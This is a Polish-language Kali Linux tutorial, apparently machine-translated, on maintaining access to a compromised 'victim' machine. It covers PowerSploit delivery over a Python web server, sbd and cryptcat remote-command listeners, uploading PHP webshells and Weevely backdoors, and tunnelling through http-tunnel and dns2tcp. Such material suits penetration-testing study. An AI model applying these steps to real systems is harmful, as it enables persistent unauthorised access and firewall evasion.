Kali Linux - utrzymanie dostępu
W tym rozdziale zobaczymy narzędzia, których używa Kali do utrzymywania połączenia i uzyskiwania dostępu do zhakowanej maszyny, nawet gdy łączy się i rozłącza ponownie.
Powersploit
Jest to narzędzie przeznaczone dla komputerów z systemem Windows. Ma zainstalowany PowerShell na maszynie ofiary. To narzędzie pomaga hakerowi połączyć się z maszyną ofiary za pośrednictwem PowerShell.
Aby go otworzyć, otwórz terminal po lewej stronie i wpisz następujące polecenie, aby wejść do folderu powersploit -
cd /usr/share/powersploit/
Jeśli wpiszesz “ls”wyświetli listę wszystkich narzędzi powersploit, które możesz pobrać i zainstalować na komputerze ofiary po uzyskaniu dostępu. Większość z nich sama się tłumaczy na podstawie ich imion.
Prostym sposobem na pobranie tego narzędzia na maszynę ofiary jest utworzenie serwera WWW, którego narzędzia powersploit pozwalają na łatwe tworzenie za pomocą następującego polecenia -
python -m SimpleHTTPServer
Następnie, jeśli wpiszesz: http: // <Kali machine ip_address>: 8000 / następujący jest wynik.
Sbd
sbd to narzędzie podobne do Netcat. Jest przenośny i można go używać na komputerach z systemem Linux i Microsoft. sbd posiada szyfrowanie AES-CBC-128 + HMAC-SHA1> Zasadniczo pomaga połączyć się z maszyną ofiary w dowolnym momencie na określonym porcie i zdalnie wysyłać polecenia.
Aby go otworzyć, przejdź do terminala i wpisz “sbd -l -p port” aby serwer akceptował połączenia.
W takim przypadku umieśćmy port 44, na którym serwer będzie nasłuchiwał.
Na stronie ofiary wpisz “sbd IPofserver port”. Zostanie nawiązane połączenie, na które będziemy mogli wysyłać polecenia zdalne.
W tym przypadku jest to „localhost”, ponieważ wykonaliśmy test na tej samej maszynie.
Wreszcie na serwerze zobaczysz, że nastąpiło połączenie, jak pokazano na poniższym zrzucie ekranu.
Webshells
Webshells może służyć do utrzymywania dostępu lub hakowania witryny internetowej. Ale większość z nich jest wykrywana przez programy antywirusowe. Powłoka php C99 jest bardzo dobrze znana wśród programów antywirusowych. Każdy popularny program antywirusowy z łatwością wykryje go jako złośliwe oprogramowanie.
Zasadniczo ich główną funkcją jest wysyłanie poleceń systemowych za pośrednictwem interfejsów internetowych.
Aby go otworzyć i wpisać “cd /usr/share/webshells/” w terminalu.
Jak widać, są podzielone na klasy według języka programowania: asp, aspx, cfm, jsp, perl, php
Jeśli wejdziesz do folderu PHP, zobaczysz wszystkie powłoki internetowe dla stron php.
Na przykład w celu przesłania powłoki na serwer WWW “simple-backdoor.php” otwórz stronę internetową i adres URL powłoki internetowej.
Na koniec napisz polecenie cmd. Będziesz mieć wszystkie informacje pokazane na poniższym zrzucie ekranu.
Weevely
Weevely to powłoka internetowa PHP, która symuluje połączenie podobne do telnetu. Jest to narzędzie do wykorzystywania aplikacji internetowych po zakończeniu eksploatacji i może być używane jako ukryty backdoor lub jako powłoka internetowa do zarządzania legalnymi kontami internetowymi, nawet tymi bezpłatnymi hostowanymi.
Aby go otworzyć, przejdź do terminala i wpisz „weevely”, gdzie możesz zobaczyć jego użycie.
Aby wygenerować powłokę, wpisz “weevely generate password pathoffile”. Jak widać na poniższym zrzucie ekranu, jest on generowany w folderze „Pulpit” i plik ma zostać przesłany na serwer sieciowy, aby uzyskać do niego dostęp.
Po załadowaniu powłoki internetowej, jak pokazano na poniższym zrzucie ekranu, możemy połączyć się z serwerem cmd za pomocą polecenia “weevely URL password” gdzie widać, że rozpoczęła się sesja.
tunel http
http-tunnel tworzy dwukierunkowy wirtualny strumień danych tunelowany w żądaniach HTTP. W razie potrzeby żądania można przesyłać przez proxy HTTP. Może to być przydatne dla użytkowników znajdujących się za restrykcyjnymi zaporami ogniowymi. Jeśli dostęp do WWW jest dozwolony przez proxy HTTP, możliwe jest użycie tunelu http i telnetu lub PPP do połączenia z komputerem poza zaporą.
Najpierw powinniśmy utworzyć serwer tunelu za pomocą następującego polecenia -
httptunnel_server –h
Następnie w typie witryny klienta “httptunnel_client –h” i obaj zaczną akceptować połączenia.
dns2tcp
To znowu narzędzie do tunelowania, które pomaga przepuszczać ruch TCP przez ruch DNS, co oznacza port UDP 53.
Aby rozpocząć, wpisz “dns2tcpd”. Użycie jest wyjaśnione, gdy otworzysz skrypt.
W witrynie serwera wprowadź to polecenie, aby skonfigurować plik.
#cat >>.dns2tcpdrc
<&l;END listen = 0.0.0.0
port = 53 user=nobody
chroot = /root/dns2tcp
pid_file = /var/run/dns2tcp.pid
domain = your domain key = secretkey
resources = ssh:127.0.0.1:22
END
#dns2tcpd -f .dns2tcpdrc
W witrynie klienta wprowadź to polecenie.
# cat >>.dns2tcprc
<<END domain = your domain
resource = ssh
local_port = 7891
key = secretkey
END
# dns2tcpc -f .dns2tcprc
# ssh root@localhost -p 7891 -D 7076
Tunelowanie rozpocznie się od tego polecenia.
cryptcat
Jest to kolejne narzędzie, takie jak Netcat, które umożliwia nawiązywanie połączeń TCP i UDP z maszyną ofiary w sposób zaszyfrowany.
Aby uruchomić serwer do nasłuchiwania połączenia, wpisz następujące polecenie -
cryptcat –l –p port –n
Gdzie,
-l oznacza słuchanie połączenia
-p oznacza parametr numeru portu
-n oznacza brak rozpoznawania nazw
W witrynie klienta polecenie połączenia to “cryptcat IPofServer PortofServer”